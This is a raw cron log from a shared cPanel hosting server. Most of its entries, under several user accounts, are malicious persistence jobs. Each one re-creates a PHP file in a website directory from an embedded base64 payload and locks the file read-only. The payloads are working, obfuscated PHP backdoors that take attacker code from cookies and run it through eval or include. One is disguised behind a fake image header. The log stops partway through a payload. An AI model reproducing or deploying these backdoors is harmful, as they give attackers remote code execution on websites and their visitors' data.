Apr 19 06:37:02 medusa CROND[15195]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:37:02 medusa CROND[15207]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:38:01 medusa CROND[6427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:38:01 medusa CROND[6428]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:38:01 medusa CROND[6429]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:38:01 medusa CROND[6430]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:38:01 medusa CROND[6431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:38:01 medusa CROND[6433]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:38:01 medusa CROND[6434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:38:01 medusa CROND[6435]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:38:01 medusa CROND[6447]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:38:01 medusa CROND[6448]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:38:01 medusa CROND[6451]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:38:01 medusa CROND[6455]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:38:01 medusa CROND[6471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:39:01 medusa CROND[30599]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:39:02 medusa CROND[30696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:39:02 medusa CROND[30698]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:39:02 medusa CROND[30697]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 06:39:02 medusa CROND[30699]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:39:02 medusa CROND[30702]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:39:02 medusa CROND[30703]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:39:02 medusa CROND[30706]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:39:02 medusa CROND[30708]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:39:02 medusa CROND[30710]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:39:02 medusa CROND[30711]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:39:02 medusa CROND[30720]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:39:02 medusa CROND[30721]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo